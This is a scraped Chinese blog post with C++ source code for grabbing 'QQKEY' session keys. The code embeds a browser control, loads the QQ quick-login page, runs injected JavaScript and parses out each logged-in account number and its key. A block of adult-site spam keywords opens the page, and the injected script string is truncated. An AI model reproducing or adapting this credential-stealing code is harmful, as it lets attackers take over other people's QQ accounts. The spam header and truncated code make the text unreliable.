日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > c/c++ >内容正文

c/c++

qqkey获取原理_获取QQKEY源码[C++版]

發(fā)布時間:2024/10/8 c/c++ 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 qqkey获取原理_获取QQKEY源码[C++版] 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前幾天有個人找我用E源碼轉(zhuǎn)成C++的? ?現(xiàn)在共享給大家。

原理很簡單??我也是照著別人給我的E源碼改的??就是利用IWebBrowser2沒什么難度

GetQQkeyDlg??用QQKEY的結(jié)構(gòu)體??里面有QQ和KEY信息

核心代碼

typedef struct _QQKey

{

CString QQ;

CString Key;

}QQkey;

BOOL??CGetQQkeyDlg::GetQQkeyDlg(CArray *pArray)

{

::CoInitialize(NULL);

HMODULE hModule = LoadLibrary(L"atl");

void *FunAddr = GetProcAddress(hModule, "AtlAxWinInit");

_asm call FunAddr;

TCHAR szUrl[255] = L"http://xui.ptlogin2.qq.com/cgi-bin/qlogin?domain=qq.com&lang=2052&qtarget=0&jumpname=&ptcss=&param=u1%253Dhttp%25253A%25252F%25252Fwww.qq.com%25252Fqq2012%25252FloginSuccess.htm&css=&mibao_css=&low_login=0";

HWND hWnd = CreateWindowEx(512, L"AtlAxWin", szUrl, 107374182, 10, 10, 300, 100, 0, 0, 0, 0);

if (NULL == hWnd)

{

::CoUninitialize();

return FALSE;

}

CComPtr pIunknown = NULL;

int ppIunknown = (int)&pIunknown;

HRESULT hRESULT;

FunAddr = GetProcAddress(hModule, "AtlAxGetControl");

_asm push ppIunknown;

_asm push hWnd;

_asm call FunAddr;

_asm mov hRESULT, eax;

if (!SUCCEEDED(hRESULT))

{

pIunknown.Release();

pIunknown = NULL;

::CoUninitialize();

return FALSE;

}

CComPtr pWebBrowser2 = NULL;

pIunknown->QueryInterface(IID_IWebBrowser2, (void **)&pWebBrowser2);

pWebBrowser2->put_Silent(TRUE);

READYSTATE rEADYSTATE;

do

{

pWebBrowser2->get_ReadyState(&rEADYSTATE);

ProcessMessagesx();

} while (READYSTATE_COMPLETE != rEADYSTATE);

CComPtr pIDispatch = NULL;

pWebBrowser2->get_Document(&pIDispatch);

CComPtr pIHTMLDocument2 = NULL;

pIDispatch->QueryInterface(IID_IHTMLDocument2, (void **)&pIHTMLDocument2);

CComPtr pHTMLWindow2 = NULL;

pIHTMLDocument2->get_parentWindow(&pHTMLWindow2);

CString strJs = L"javascript:for(var C=0;C

VARIANT??ret = { 0 };

ret.vt = VT_EMPTY;

pHTMLWindow2->execScript(CComBSTR(strJs), L"JavaScript", &ret);

CComPtr pHTMLElement = NULL;

pIHTMLDocument2->get_body(&pHTMLElement);

CComBSTR cComBstr;

pHTMLElement->get_innerHTML(&cComBstr);

CString strText, strTempText;

strText = cComBstr;

QQkey SubKey = { 0 };

int nPos, nSubPos;

do

{

nPos = strText.Find(L"[分]");

strTempText = strText.Mid(0, nPos);

if (!strTempText.IsEmpty())

{

nSubPos = strTempText.Find(L",");

SubKey.QQ = strTempText.Left(nSubPos);

SubKey.Key = strTempText.Mid(nSubPos + 1, strTempText.GetLength() - nSubPos);

pArray->Add(SubKey);

}

strText.Delete(0, nPos + wcslen(L"[分]"));

} while (-1 != strText.Find(L"[分]"));

pHTMLElement = NULL;

pHTMLWindow2 = NULL;

pIHTMLDocument2 = NULL;

pIDispatch = NULL;

pWebBrowser2 = NULL;

pIunknown = NULL;

::SendMessage(hWnd, WM_CLOSE, 0, 0);

::CoUninitialize();

return TRUE;

}

BOOL??CGetQQkeyDlg::ProcessMessagesx(void)

{

MSG? ?? ? Msg;

BOOL? ?wm_quit = FALSE;

while (::PeekMessage(&Msg, NULL, 0, 0, PM_REMOVE))

{

if ((Msg.message == WM_QUIT) || (Msg.message == WM_CLOSE))

{

wm_quit = TRUE;

break;

}

TranslateMessage(&Msg);

DispatchMessage(&Msg);

}

return? ?wm_quit;

};

總結(jié)

以上是生活随笔為你收集整理的qqkey获取原理_获取QQKEY源码[C++版]的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。